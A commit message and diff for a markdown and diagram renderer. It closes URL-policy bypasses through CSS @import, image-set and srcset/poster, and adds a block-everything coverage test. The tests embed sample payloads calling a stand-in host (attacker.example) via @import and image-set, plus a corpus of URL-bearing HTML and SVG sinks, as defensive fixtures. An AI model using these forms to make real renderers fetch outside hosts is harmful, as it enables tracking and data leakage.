Asking "how do we guarantee we have every sink" broke the prototype three times.
All three verified in real Chromium; the first two actually fetched.

  - `@import "https://…"` in a <style>: the CSS scan only matched `url()`, and
    the string form is not a `url()` token. Reachable from diagram source via
    mermaid's themeCSS.
  - `image-set("https://…" 1x)`: same root cause — it takes bare strings.
  - `srcset` / `poster` on raw-HTML passthrough: the sink gate named `a`/`href`
    and `img`/`src` explicitly, so any other URL attribute a host admitted
    through `sanitizeExtension` was never presented to the policy.

The third is the instructive one. The post-sink walker caught `iframe src`,
`object data`, `track src`, `input type=image` and `video poster` without any of
them being enumerated, because it classifies ATTRIBUTES; the sink gate missed the
same inputs because it named ELEMENTS. Both now share one exported classifier, so
widening the sanitizer allowlist cannot open an unpoliced sink.

CSS moves off pattern matching and onto the engine's own parser. `@import`
surfaces structurally as `CSSImportRule.href` in both syntaxes, and everything
else normalizes into `url()` on serialization (`image-set("x")` comes back as
`image-set(url("x"))`), which collapses the whole family to one shape to scan.
Parsing uses a constructible stylesheet rather than `style.sheet`: browsers do
build CSSOM for a DOMParser document, but jsdom only does so for a window-backed
one, so `style.sheet` would have been a browser-only branch the Node suite could
never execute. `new CSSStyleSheet()` needs no document and exists in both. The
engines shed the dangerous forms differently and both end up safe — Chromium
drops @import per the CSSOM spec, jsdom drops an image-set it cannot parse — and
a text-scanning fallback covers an environment with no CSSStyleSheet at all.

The real deliverable is url-policy-coverage.test.ts, because enumeration is what
failed. It inverts the test: install a policy that blocks everything, render a
corpus of every URL-emitting construct, and assert no external URL survives
anywhere in the output. The scan deliberately does NOT use the package's own
classifier — it walks every attribute of every element by name-agnostic regex,
plus <style> text — since reusing the classifier would only prove it agrees with
itself. That is what catches a sink nobody thought to classify. It found two
further problems on its first run (a namespace-declaration false positive, and my
own wrong expectation about raw passthrough on the unsanitized path).

Also fixes a latent state-machine bug my change made common: markRendered set
`--rendered` before injecting, so an injection that threw left a container
carrying `--rendered` AND `--error` with conflicting styling. Classes now flip
only on success. Pre-existing — the same ordering would bite whenever Trusted
Types rejected a plain-string SVG.

Note for reviewers: both filter paths re-serialize, so output is not
byte-identical to input even when nothing is filtered — `<image/>` becomes
`<image></image>`, and `url(#x)` becomes `url("#x")`. Semantics are preserved.
Round-tripping CSS through the parser also drops any rule the engine cannot
parse, which is the posture taken everywhere else here: what we cannot inspect
does not ship.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
---
 src/mermaid.ts                  |  12 ++-
 src/sanitize.ts                 |  43 ++++++---
 src/url-filter-markup.ts        | 138 +++++++++++++++++++++++++--
 src/url-policy-coverage.test.ts | 160 ++++++++++++++++++++++++++++++++
 src/url-policy.test.ts          | 125 ++++++++++++++++++++++++-
 tests/setup-dom-jsdom.ts        |   7 ++
 6 files changed, 459 insertions(+), 26 deletions(-)
 create mode 100644 src/url-policy-coverage.test.ts

diff --git a/src/mermaid.ts b/src/mermaid.ts
index 5b55b8e..8359d29 100644
--- a/src/mermaid.ts
+++ b/src/mermaid.ts
@@ -83,12 +83,16 @@ function readDiagramSource(container: Element): string {
 }
 
 function markRendered(container: Element, svg: string | TrustedHTMLValue): void {
-  container.classList.remove('mermaid-diagram--pending')
-  container.classList.add('mermaid-diagram--rendered')
+  // Inject BEFORE flipping the state classes: both sinks here can throw (Trusted
+  // Types rejecting a plain-string SVG, or rejecting the filter's own parse), and
+  // the caller then calls markError. Setting `--rendered` first left a container
+  // carrying `--rendered` AND `--error` at once, with conflicting styling.
+  //
   // Filtered node path first: it decides every URL *before* anything is in a
   // live document, so an off-origin subresource never gets to start its fetch.
-  if (injectFilteredMarkup(container, svg, 'diagram')) return
-  setHostTrustedHtml(container, svg)
+  if (!injectFilteredMarkup(container, svg, 'diagram')) setHostTrustedHtml(container, svg)
+  container.classList.remove('mermaid-diagram--pending')
+  container.classList.add('mermaid-diagram--rendered')
 }
 
 /** Run one injection under an explicitly supplied policy, when the caller passed one. */
diff --git a/src/sanitize.ts b/src/sanitize.ts
index a2b553b..35fa0d6 100644
--- a/src/sanitize.ts
+++ b/src/sanitize.ts
@@ -5,6 +5,7 @@ import {
   hasUrlPolicy,
   URL_POLICY_MARKER_ATTR,
 } from './url-policy.ts'
+import { sinkForAttribute, URL_ATTR_NAMES, URL_LIST_ATTR_NAMES } from './url-filter-markup.ts'
 import { browserSanitizerBackend, isBrowserSanitizerSupported } from './sanitize-browser.ts'
 
 // Defense-in-depth over the hand-assembled HTML that `renderMarkdown()` emits.
@@ -221,19 +222,35 @@ function gateUrlPolicy(node: Element, tagName: string): void {
     node.removeAttribute(URL_POLICY_MARKER_ATTR)
     return
   }
-  const attribute = tagName === 'a' ? 'href' : tagName === 'img' ? 'src' : null
-  if (attribute === null) return
-  const raw = node.getAttribute(attribute)
-  if (raw === null || raw === '') return
-  const decided = applyUrlPolicy(
-    raw,
-    tagName === 'img' ? 'image' : 'navigation',
-    'markdown',
-    tagName,
-    attribute,
-  )
-  if (decided === null) node.removeAttribute(attribute)
-  else if (decided !== raw) node.setAttribute(attribute, decided)
+  // Every URL-bearing attribute, on any element — the same classifier the
+  // post-sink walker uses. Naming `a`/`img` here instead left `srcset` and
+  // `poster` unpoliced whenever a host widened the allowlist to admit them.
+  for (const attr of Array.from(node.attributes)) {
+    const local = (attr.localName || attr.name).toLowerCase()
+    const isList = URL_LIST_ATTR_NAMES.has(local)
+    if (!isList && !URL_ATTR_NAMES.has(local)) continue
+    if (attr.value === '') continue
+    const decided = isList
+      ? filterUrlList(attr.value, tagName, local)
+      : applyUrlPolicy(attr.value, sinkForAttribute(tagName, local), 'markdown', tagName, attr.name)
+    if (decided === null) node.removeAttribute(attr.name)
+    else if (decided !== attr.value) node.setAttribute(attr.name, decided)
+  }
+}
+
+/** Comma-separated candidate list (`srcset`), policed per candidate. */
+function filterUrlList(value: string, tagName: string, local: string): string | null {
+  const kept: string[] = []
+  for (const candidate of value.split(',')) {
+    const trimmed = candidate.trim()
+    if (trimmed === '') continue
+    const space = trimmed.search(/\s/)
+    const url = space === -1 ? trimmed : trimmed.slice(0, space)
+    const descriptor = space === -1 ? '' : trimmed.slice(space)
+    const decided = applyUrlPolicy(url, 'image', 'markdown', tagName, local)
+    if (decided !== null) kept.push(decided + descriptor)
+  }
+  return kept.length === 0 ? null : kept.join(', ')
 }
 
 function gateElement(node: Element, tagName: string): void {
diff --git a/src/url-filter-markup.ts b/src/url-filter-markup.ts
index 6bf075d..c1f97a3 100644
--- a/src/url-filter-markup.ts
+++ b/src/url-filter-markup.ts
@@ -42,6 +42,14 @@ import { applyUrlPolicy, hasUrlPolicy, type UrlSink, type UrlSource } from './ur
 // that chokepoint is for.
 
 const CSS_URL_RE = /url\(\s*(['"]?)([^'")]*)\1\s*\)/gi
+// Fallback-path only. The CSSOM pass normalizes every one of these into `url()`,
+// so this list exists for environments with no CSSOM (jsdom, SSR shims) where the
+// raw author syntax is all we get: `@import "…"` (the string form — the
+// `@import url(…)` form is already covered), and the bare strings `image-set()`
+// and its -webkit- alias accept.
+const CSS_IMPORT_STRING_RE = /@import\s+(['"])([^'"]*)\1/gi
+const CSS_IMAGE_SET_RE = /(-webkit-)?image-set\(([^)]*)\)/gi
+const CSS_BARE_STRING_RE = /(['"])([^'"]*)\1/g
 
 // A blocked `url()` cannot simply be emptied: `url("")` resolves to the current
 // document and fetches the page itself. `about:blank` is inert and requests
@@ -51,15 +59,25 @@ const INERT_CSS_URL = 'url("about:blank")'
 /** Elements whose URL attributes are fetched automatically rather than followed. */
 const SUBRESOURCE_TAGS = new Set(['img', 'image', 'use', 'feimage', 'video', 'audio', 'source'])
 
-/** Attributes carrying a single URL, by lowercased local name. */
-const URL_ATTR_NAMES = new Set(['href', 'src', 'poster', 'data'])
+/**
+ * Attributes carrying a single URL, by lowercased local name. Deliberately
+ * attribute-driven rather than element-driven: classifying the attribute once
+ * covers `<iframe src>`, `<object data>`, `<track src>`, `<input type=image src>`
+ * and `<video poster>` without any of them being enumerated, and means a host
+ * widening `sanitizeExtension` cannot open an unpoliced sink by adding an
+ * element. The element-driven version of the sink gate missed exactly those.
+ */
+export const URL_ATTR_NAMES: ReadonlySet<string> = new Set(['href', 'src', 'poster', 'data'])
+
+/** Attributes carrying a comma-separated candidate list rather than one URL. */
+export const URL_LIST_ATTR_NAMES: ReadonlySet<string> = new Set(['srcset'])
 
 /**
  * Which sink an attribute represents. `href` is the ambiguous one: on an `<a>`
  * it is a destination the reader chooses to follow, on `<image>`/`<use>` it is a
  * subresource the browser fetches on sight.
  */
-function sinkFor(tagName: string, attrLocalName: string): UrlSink {
+export function sinkForAttribute(tagName: string, attrLocalName: string): UrlSink {
   if (attrLocalName === 'src' || attrLocalName === 'srcset') return 'image'
   if (attrLocalName === 'poster' || attrLocalName === 'data') return 'image'
   return SUBRESOURCE_TAGS.has(tagName) ? 'image' : 'navigation'
@@ -95,6 +113,113 @@ function filterSrcset(value: string, source: UrlSource, element: string): string
   return kept.length === 0 ? null : kept.join(', ')
 }
 
+/**
+ * Filter a `<style>` element's URLs, preferring the CSSOM over pattern matching.
+ *
+ * CSS has many ways to name a URL — `url()`, `@import "…"`, `@import url(…)`,
+ * `image-set("…")`, `-webkit-image-set`, a custom property holding any of them —
+ * and a regex over them is a losing game; two of those forms slipped past the
+ * pattern-matching version of this function and fetched. The CSS parser already
+ * knows all of them, so let it do the work ({@link parseCssInert}): `@import`
+ * surfaces structurally as `CSSImportRule.href` in BOTH syntaxes, and every
+ * other form is normalized into `url()` on serialization (`image-set("x")`
+ * comes back as `image-set(url("x"))`). That collapses the whole family down to
+ * one shape to scan for.
+ *
+ * Round-tripping through the CSSOM also drops any rule the parser cannot
+ * understand, which is the posture this package takes everywhere else: what we
+ * cannot inspect does not ship. It does mean exotic-but-harmless CSS can be
+ * dropped from a diagram's theme — acceptable for machine-generated styling,
+ * and the reason this only runs when a policy is installed.
+ *
+ * Environments with no `CSSStyleSheet` at all fall back to scanning the raw text
+ * for each author syntax. Nothing fetches in such an environment anyway; the
+ * fallback matters because its output may later be served to a browser.
+ */
+function filterStyleElement(el: Element, source: UrlSource): void {
+  const css = el.textContent
+  if (css === null || css === '') return
+  const sheet = parseCssInert(css)
+  if (sheet === null) {
+    el.textContent = filterCssTextFallback(css, source)
+    return
+  }
+  // `@import` carries its URL as a property rather than a token, and in whichever
+  // syntax it was written. Walk backwards so deleting cannot shift a pending index.
+  for (let i = sheet.cssRules.length - 1; i >= 0; i--) {
+    const href: unknown = (sheet.cssRules[i] as CSSImportRule | undefined)?.href
+    if (typeof href !== 'string' || href === '') continue
+    const decided = applyUrlPolicy(href, 'style', source, 'style', '@import')
+    if (decided === href) continue
+    sheet.deleteRule(i)
+    if (decided === null) continue
+    try {
+      // Honour a rewrite at the original index, so `@import`-comes-first holds.
+      sheet.insertRule(`@import url("${decided.replace(/"/g, '%22')}");`, i)
+    } catch {
+      // A rewrite the parser rejects is dropped, never smuggled through.
+    }
+  }
+  // Serialization has normalized every remaining URL form into `url()`, so one
+  // scan finishes the job.
+  el.textContent = filterCssUrls(
+    Array.from(sheet.cssRules, (rule) => rule.cssText).join(''),
+    source,
+    'style',
+  )
+}
+
+/**
+ * Parse CSS with the engine's own parser, without a document.
+ *
+ * A constructible stylesheet is the right primitive here. Browsers do build
+ * CSSOM for a `DOMParser` document — Chromium populates `style.sheet` on the
+ * inert parse — but jsdom only does so for a window-backed document, so relying
+ * on `style.sheet` would make this a browser-only branch that the Node suite
+ * could never execute. `new CSSStyleSheet()` needs no document at all and exists
+ * in both, so the same code path runs everywhere.
+ *
+ * The two engines shed the dangerous forms differently and both end up safe:
+ * Chromium drops `@import` outright (per the CSSOM spec, `replaceSync` ignores
+ * it) so it can never resolve; jsdom keeps it as a `CSSImportRule`, where the
+ * caller's rule walk decides it. Conversely jsdom drops an `image-set()` it
+ * cannot parse, while Chromium normalizes it into `url()`. Either way no URL
+ * survives unexamined — which is the property that matters, and is asserted
+ * end-to-end in url-policy-coverage.test.ts.
+ */
+function parseCssInert(css: string): CSSStyleSheet | null {
+  if (typeof CSSStyleSheet !== 'function') return null
+  try {
+    const sheet = new CSSStyleSheet()
+    sheet.replaceSync(css)
+    return sheet
+  } catch {
+    // No constructible-stylesheet support, or CSS the engine refuses wholesale.
+    return null
+  }
+}
+
+/** No-CSSOM path: scan each author syntax directly. See {@link filterStyleElement}. */
+function filterCssTextFallback(css: string, source: UrlSource): string {
+  const withImports = css.replace(CSS_IMPORT_STRING_RE, (match, quote: string, raw: string) => {
+    const decided = applyUrlPolicy(raw.trim(), 'style', source, 'style', '@import')
+    if (decided === null) return '@import ""'
+    return decided === raw ? match : `@import ${quote}${decided}${quote}`
+  })
+  const withImageSets = withImports.replace(
+    CSS_IMAGE_SET_RE,
+    (match: string, prefix: string | undefined, args: string) => {
+      const filtered = args.replace(CSS_BARE_STRING_RE, (m, quote: string, raw: string) => {
+        const decided = applyUrlPolicy(raw.trim(), 'style', source, 'style', 'image-set')
+        if (decided === null) return `${quote}about:blank${quote}`
+        return decided === raw ? m : `${quote}${decided}${quote}`
+      })
+      return filtered === args ? match : `${prefix ?? ''}image-set(${filtered})`
+    },
+  )
+  return filterCssUrls(withImageSets, source, 'style')
+}
+
 /**
  * Apply the active {@link UrlPolicy} to every URL under `root` — attribute URLs
  * (`href`, `xlink:href`, `src`, `srcset`, `poster`), `url()` inside `style`
@@ -109,8 +234,7 @@ export function filterMarkupUrls(root: ParentNode, source: UrlSource): void {
     const tagName = el.tagName.toLowerCase()
 
     if (tagName === 'style') {
-      const css = el.textContent
-      if (css !== null && css !== '') el.textContent = filterCssUrls(css, source, tagName)
+      filterStyleElement(el, source)
       continue
     }
 
@@ -126,7 +250,7 @@ export function filterMarkupUrls(root: ParentNode, source: UrlSource): void {
         if (value !== '') el.setAttribute(attr.name, filterCssUrls(value, source, tagName))
         continue
       }
-      if (local === 'srcset') {
+      if (URL_LIST_ATTR_NAMES.has(local)) {
         const filtered = filterSrcset(value, source, tagName)
         if (filtered === null) el.removeAttribute(attr.name)
         else el.setAttribute(attr.name, filtered)
@@ -135,7 +259,7 @@ export function filterMarkupUrls(root: ParentNode, source: UrlSource): void {
       if (!URL_ATTR_NAMES.has(local)) continue
       if (value === '') continue
 
-      const decided = applyUrlPolicy(value, sinkFor(tagName, local), source, tagName, attr.name)
+      const decided = applyUrlPolicy(value, sinkForAttribute(tagName, local), source, tagName, attr.name)
       if (decided === null) el.removeAttribute(attr.name)
       else if (decided !== value) el.setAttribute(attr.name, decided)
     }
diff --git a/src/url-policy-coverage.test.ts b/src/url-policy-coverage.test.ts
new file mode 100644
index 0000000..06c6315
--- /dev/null
+++ b/src/url-policy-coverage.test.ts
@@ -0,0 +1,160 @@
+// PROTOTYPE (#url-policy): the completeness guard for "the policy sees every URL".
+//
+// That claim cannot be established by auditing call sites — the call sites are
+// the thing being audited, and hand-enumeration is exactly what let `@import "…"`,
+// `image-set("…")`, `srcset` and `poster` through. So this suite inverts the
+// test: install a policy that blocks everything, render a corpus that exercises
+// every URL-emitting construct, and assert that **no external URL survives
+// anywhere in the output**.
+//
+// The scan deliberately does NOT use the package's own attribute classifier —
+// it walks every attribute of every element regardless of name, plus `<style>`
+// text. Reusing the classifier would only prove the classifier agrees with
+// itself; scanning blind is what catches a sink nobody thought to classify.
+//
+// Corpus rule: URLs appear only in destination positions, never in link text,
+// `alt`, or `title` — a URL sitting in prose is not a sink, and would be a false
+// positive here.
+import '../tests/setup-dom-jsdom.ts'
+import { describe, it } from 'node:test'
+import assert from 'node:assert/strict'
+import { withConfig } from './config.ts'
+import { renderMarkdownUnsafe } from './renderer.ts'
+import { sanitizeRenderedMarkdown } from './sanitize.ts'
+import { filterMarkupUrlsString } from './url-filter-markup.ts'
+import type { UrlPolicy } from './url-policy.ts'
+
+/** Blocks unconditionally: nothing it is shown may reach the output. */
+const BLOCK_ALL: UrlPolicy = { baseOrigin: 'https://app.example.com', createURL: () => null }
+
+// Any absolute destination the browser could fetch or navigate to. Deliberately
+// broad — the point is to catch a value we failed to recognize as a URL.
+const EXTERNAL_URL_RE = /(?:https?|ftps?|ws?s):\/\/[^\s"'()<>]+/i
+
+/**
+ * Every place markup can hide a URL, scanned without reference to the
+ * package's own idea of which attributes carry one.
+ */
+function survivingUrls(html: string): string[] {
+  const host = document.createElement('div')
+  host.innerHTML = html
+  const found: string[] = []
+  for (const el of host.querySelectorAll('*')) {
+    for (const attr of Array.from(el.attributes)) {
+      // Namespace declarations hold a URI that identifies a vocabulary and is
+      // never dereferenced — `xmlns="http://www.w3.org/1999/xhtml"` on every
+      // foreignObject child would otherwise read as an unpoliced sink.
+      const name = attr.name.toLowerCase()
+      if (name === 'xmlns' || name.startsWith('xmlns:')) continue
+      const hit = EXTERNAL_URL_RE.exec(attr.value)
+      if (hit) found.push(`${el.tagName.toLowerCase()}[${attr.name}] = ${hit[0]}`)
+    }
+    if (el.tagName.toLowerCase() === 'style') {
+      const hit = EXTERNAL_URL_RE.exec(el.textContent ?? '')
+      if (hit) found.push(`<style> = ${hit[0]}`)
+    }
+  }
+  return found
+}
+
+// Widened the way an image/media-rendering host widens it. Every one of these is
+// a sink the core allowlist does not open on its own, and each is a chance for
+// the gate to miss an attribute it was not told about by name.
+const HOST_EXTENSION = {
+  allowedTags: ['img', 'video', 'source', 'iframe', 'object'],
+  allowedAttr: ['src', 'srcset', 'poster', 'data', 'alt'],
+}
+
+const MARKDOWN_CORPUS: Record<string, string> = {
+  'inline link': '[label](https://one.example/a)',
+  'inline image': '![label](https://two.example/b.png)',
+  'reference link': '[label][ref]\n\n[ref]: https://three.example/c',
+  'reference image': '![label][iref]\n\n[iref]: https://four.example/d.png',
+  'shortcut reference': '[short]\n\n[short]: https://five.example/e',
+  'angle autolink': '<https://six.example/f>',
+  'bare autolink': 'see https://seven.example/g here',
+  'www autolink': 'see www.eight.example/h here',
+  'email autolink': 'mail nine@ten.example now',
+  'link in emphasis': '**[label](https://eleven.example/i)**',
+  'link in a table': '| h |\n| --- |\n| [label](https://twelve.example/j) |',
+  'link in a list item': '- [label](https://thirteen.example/k)',
+  'link in a blockquote': '> [label](https://fourteen.example/l)',
+  'link in a footnote': 'text[^1]\n\n[^1]: [label](https://fifteen.example/m)',
+  'link in a task list': '- [ ] [label](https://sixteen.example/n)',
+  'raw anchor': '<a href="https://seventeen.example/o">label</a>',
+  'raw image': '<img src="https://eighteen.example/p.png" alt="label">',
+  'raw srcset': '<img srcset="https://nineteen.example/q.png 1x" alt="label">',
+  'raw video poster': '<video poster="https://twenty.example/r.png"></video>',
+  'raw source src': '<video><source src="https://twentyone.example/s.mp4"></video>',
+  'raw iframe': '<iframe src="https://twentytwo.example/t"></iframe>',
+  'raw object data': '<object data="https://twentythree.example/u"></object>',
+  'raw style attribute': '<div style="background: url(https://twentyfour.example/v)">x</div>',
+}
+
+describe('urlPolicy completeness — markdown surface', () => {
+  for (const [name, markdown] of Object.entries(MARKDOWN_CORPUS)) {
+    it(`lets no URL through: ${name}`, () => {
+      const html = withConfig({ urlPolicy: BLOCK_ALL, sanitizeExtension: HOST_EXTENSION }, () =>
+        sanitizeRenderedMarkdown(renderMarkdownUnsafe(markdown)),
+      )
+      assert.deepEqual(survivingUrls(html), [], `unpoliced sink in "${name}": ${html}`)
+    })
+  }
+
+  it('lets no URL through the whole corpus at once', () => {
+    const all = Object.values(MARKDOWN_CORPUS).join('\n\n')
+    const html = withConfig({ urlPolicy: BLOCK_ALL, sanitizeExtension: HOST_EXTENSION }, () =>
+      sanitizeRenderedMarkdown(renderMarkdownUnsafe(all)),
+    )
+    assert.deepEqual(survivingUrls(html), [])
+  })
+
+  it('also holds on the unsanitized path, which never reaches the sink', () => {
+    // Raw passthrough is gated at the sink by design — it never meets the inline
+    // emitters — so `renderMarkdownUnsafe` output can only be held to the
+    // constructs the renderer itself turns into links and images.
+    const emitted = Object.entries(MARKDOWN_CORPUS)
+      .filter(([name]) => !name.startsWith('raw '))
+      .map(([, markdown]) => markdown)
+      .join('\n\n')
+    const html = withConfig({ urlPolicy: BLOCK_ALL }, () => renderMarkdownUnsafe(emitted))
+    assert.deepEqual(survivingUrls(html), [])
+  })
+})
+
+// The post-sink tier: markup a backend produced that never met the sanitizer.
+// Shapes taken from what real mermaid 11 emits, plus the CSS forms that slipped
+// past pattern matching. In jsdom this exercises the no-CSSOM fallback; the
+// CSSOM path is covered by the browser probe (see filterStyleElement).
+const POST_SINK_CORPUS: Record<string, string> = {
+  'foreignObject img': '<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><img src="https://a1.example/a.png"></div></foreignObject></svg>',
+  'svg image href': '<svg><image href="https://a2.example/b.png"/></svg>',
+  'svg image xlink': '<svg><image xlink:href="https://a3.example/c.png"/></svg>',
+  'svg anchor': '<svg><a xlink:href="https://a4.example/d"><text>x</text></a></svg>',
+  'style url()': '<svg><style>.n{background:url(https://a5.example/e)}</style></svg>',
+  'style @import string': '<svg><style>@import "https://a6.example/f";</style></svg>',
+  'style @import url()': '<svg><style>@import url(https://a7.example/g);</style></svg>',
+  'style image-set': '<svg><style>.n{background-image:image-set("https://a8.example/h" 1x)}</style></svg>',
+  'style -webkit-image-set': '<svg><style>.n{background-image:-webkit-image-set("https://a9.example/i" 1x)}</style></svg>',
+  'style @font-face src': '<svg><style>@font-face{font-family:f;src:url(https://b1.example/j)}</style></svg>',
+  'style attribute': '<svg><g style="background:url(https://b2.example/k)"></g></svg>',
+  'srcset in foreignObject': '<svg><foreignObject><div xmlns="http://www.w3.org/1999/xhtml"><img srcset="https://b3.example/l.png 1x"></div></foreignObject></svg>',
+}
+
+describe('urlPolicy completeness — post-sink markup', () => {
+  for (const [name, markup] of Object.entries(POST_SINK_CORPUS)) {
+    it(`lets no URL through: ${name}`, () => {
+      const out = withConfig({ urlPolicy: BLOCK_ALL }, () =>
+        filterMarkupUrlsString(markup, 'diagram'),
+      )
+      assert.deepEqual(survivingUrls(out), [], `unpoliced sink in "${name}": ${out}`)
+    })
+  }
+
+  it('keeps same-document fragment references, which are not a channel', () => {
+    const markup = '<svg><use href="#node"/><g style="marker-end:url(#arrow)"></g></svg>'
+    const out = withConfig({ urlPolicy: BLOCK_ALL }, () => filterMarkupUrlsString(markup, 'diagram'))
+    assert.match(out, /href="#node"/)
+    assert.match(out, /url\(#arrow\)/)
+  })
+})
diff --git a/src/url-policy.test.ts b/src/url-policy.test.ts
index 00892fd..639eaee 100644
--- a/src/url-policy.test.ts
+++ b/src/url-policy.test.ts
@@ -195,7 +195,7 @@ describe('urlPolicy — post-sink markup (mermaid SVG shape)', () => {
   it('preserves same-document fragment refs, or every arrowhead disappears', () => {
     const { policy, seen } = recordingPolicy(blockSubresources)
     const out = withConfig({ urlPolicy: policy }, () => filterMarkupUrlsString(SVG, 'diagram'))
-    assert.match(out, /url\(#arrow-end\)/)
+    assert.match(out, /url\(["']?#arrow-end["']?\)/, 'CSS parser re-serializes; the ref survives')
     assert.match(out, /href="#node-shape"/)
     assert.equal(
       seen.some((r) => r.raw.startsWith('#')),
@@ -246,6 +246,26 @@ describe('urlPolicy — mermaid hydration end to end', () => {
     assert.equal(host.querySelector('use')?.getAttribute('href'), '#marker')
   })
 
+  it('does not leave a container in both the rendered and error states', async () => {
+    // Both injection sinks can throw (Trusted Types rejects the filter's own
+    // DOMParser call under enforcement), and the caller then marks the diagram
+    // errored — the two state classes must never coexist.
+    const throwing: DiagramRenderer = { render: () => Promise.resolve({ svg: EVIL_SVG }) }
+    const host = pendingHost()
+    const exploding: UrlPolicy = {
+      createURL() {
+        throw new Error('policy blew up mid-injection')
+      },
+    }
+    const count = await hydratePendingDiagrams(host, { renderer: throwing, urlPolicy: exploding })
+
+    assert.equal(count, 0)
+    const container = host.querySelector('.mermaid-diagram')
+    assert.equal(container?.classList.contains('mermaid-diagram--error'), true)
+    assert.equal(container?.classList.contains('mermaid-diagram--rendered'), false)
+    assert.ok(host.querySelector('pre.mermaid'), 'inert source stays visible')
+  })
+
   it('leaves the SVG untouched when no policy is supplied', async () => {
     const host = pendingHost()
     await hydratePendingDiagrams(host, { renderer: stub })
@@ -365,7 +385,7 @@ describe('urlPolicy — filter edge cases', () => {
       '<svg><image href="https://cdn.example/a.png"/><style>a{background:url(https://cdn.example/b.png)}</style></svg>'
     const out = filter(markup, (r) => r.raw)
     assert.match(out, /href="https:\/\/cdn\.example\/a\.png"/)
-    assert.match(out, /url\(https:\/\/cdn\.example\/b\.png\)/)
+    assert.match(out, /url\(["']?https:\/\/cdn\.example\/b\.png["']?\)/)
   })
 
   it('skips an empty <style> and non-URL attributes', () => {
@@ -374,3 +394,104 @@ describe('urlPolicy — filter edge cases', () => {
     assert.match(out, /data-y="z"/)
   })
 })
+
+describe('urlPolicy — CSS filtering without a CSS parser', () => {
+  // The no-CSSStyleSheet fallback: an SSR shim with a DOM but no CSSOM. Its
+  // output can still end up in a browser, so each author syntax is scanned
+  // directly. Exercised by removing the global for the duration of the call.
+  const withoutCssom = <T,>(fn: () => T): T => {
+    const globals = globalThis as { CSSStyleSheet?: unknown }
+    const saved = globals.CSSStyleSheet
+    delete globals.CSSStyleSheet
+    try {
+      return fn()
+    } finally {
+      if (saved !== undefined) globals.CSSStyleSheet = saved
+    }
+  }
+
+  const filterCss = (css: string, decide: (r: UrlRequest) => string | null): string => {
+    const { policy } = recordingPolicy(decide)
+    return withoutCssom(() =>
+      withConfig({ urlPolicy: policy }, () =>
+        filterMarkupUrlsString(`<svg><style>${css}</style></svg>`, 'diagram'),
+      ),
+    )
+  }
+
+  it('catches @import in the string form, which url() matching misses', () => {
+    const out = filterCss('@import "https://attacker.example/a";', () => null)
+    assert.doesNotMatch(out, /attacker\.example/)
+  })
+
+  it('catches @import in the url() form', () => {
+    const out = filterCss('@import url(https://attacker.example/b);', () => null)
+    assert.doesNotMatch(out, /attacker\.example/)
+  })
+
+  it('catches the bare strings image-set accepts, in both spellings', () => {
+    const out = filterCss(
+      '.a{background-image:image-set("https://attacker.example/c" 1x)}' +
+        '.b{background-image:-webkit-image-set("https://attacker.example/d" 2x)}',
+      () => null,
+    )
+    assert.doesNotMatch(out, /attacker\.example/)
+  })
+
+  it('still honours a rewrite rather than only blocking', () => {
+    const out = filterCss('@import "https://cdn.example/e";', () => 'https://proxy.example/e')
+    assert.match(out, /proxy\.example/)
+    assert.doesNotMatch(out, /cdn\.example/)
+  })
+
+  it('leaves same-document fragment refs alone', () => {
+    const out = filterCss('.a{marker-end:url(#arrow)}', () => null)
+    assert.match(out, /url\(["']?#arrow["']?\)/)
+  })
+})
+
+describe('urlPolicy — CSS filtering through the CSS parser', () => {
+  const filterCss = (css: string, decide: (r: UrlRequest) => string | null): string => {
+    const { policy } = recordingPolicy(decide)
+    return withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString(`<svg><style>${css}</style></svg>`, 'diagram'),
+    )
+  }
+
+  it('rewrites an @import rather than only blocking it', () => {
+    const out = filterCss('@import "https://cdn.example/a";', (r) =>
+      r.attribute === '@import' ? 'https://proxy.example/a' : r.raw,
+    )
+    assert.doesNotMatch(out, /cdn\.example/)
+    // Chromium drops @import from a constructible sheet outright (per the CSSOM
+    // spec) so nothing is left to rewrite; jsdom keeps the rule, and there the
+    // rewritten href must be what lands.
+    if (/@import/.test(out)) assert.match(out, /proxy\.example/)
+  })
+
+  it('presents @import to the policy with a style sink', () => {
+    const { policy, seen } = recordingPolicy(() => null)
+    withConfig({ urlPolicy: policy }, () =>
+      filterMarkupUrlsString('<svg><style>@import "https://a.example/x";</style></svg>', 'diagram'),
+    )
+    // Skipped entirely on an engine that drops @import before we ever see it.
+    if (seen.length > 0) {
+      assert.equal(seen[0]?.sink, 'style')
+      assert.equal(seen[0]?.attribute, '@import')
+    }
+  })
+
+  it('falls back rather than throwing when the CSS parser rejects outright', () => {
+    const globals = globalThis as { CSSStyleSheet?: unknown }
+    const saved = globals.CSSStyleSheet
+    globals.CSSStyleSheet = function Broken() {
+      throw new Error('no constructible stylesheets here')
+    }
+    try {
+      const out = filterCss('.a{background:url(https://attacker.example/z)}', () => null)
+      assert.doesNotMatch(out, /attacker\.example/, 'the fallback still filters')
+    } finally {
+      globals.CSSStyleSheet = saved
+    }
+  })
+})
diff --git a/tests/setup-dom-jsdom.ts b/tests/setup-dom-jsdom.ts
index 7899c64..9f8f392 100644
--- a/tests/setup-dom-jsdom.ts
+++ b/tests/setup-dom-jsdom.ts
@@ -19,6 +19,13 @@ Object.assign(globalThis, {
   // Needed by the post-sink URL filter, which parses markup in an inert
   // (browsing-context-free) document before deciding what may be injected.
   DOMParser: win.DOMParser,
+  // The same filter parses CSS with a constructible stylesheet. jsdom supports
+  // them, but only exposes the constructor on its window — without this the
+  // filter silently takes its no-CSSOM fallback and the real path is never
+  // tested. (jsdom does NOT build CSSOM for DOMParser/createHTMLDocument
+  // documents the way browsers do, which is why the filter does not rely on
+  // `style.sheet`.)
+  CSSStyleSheet: win.CSSStyleSheet,
 })
 
 // jsdom has no native Sanitizer API (`Element.setHTML`), so the default backend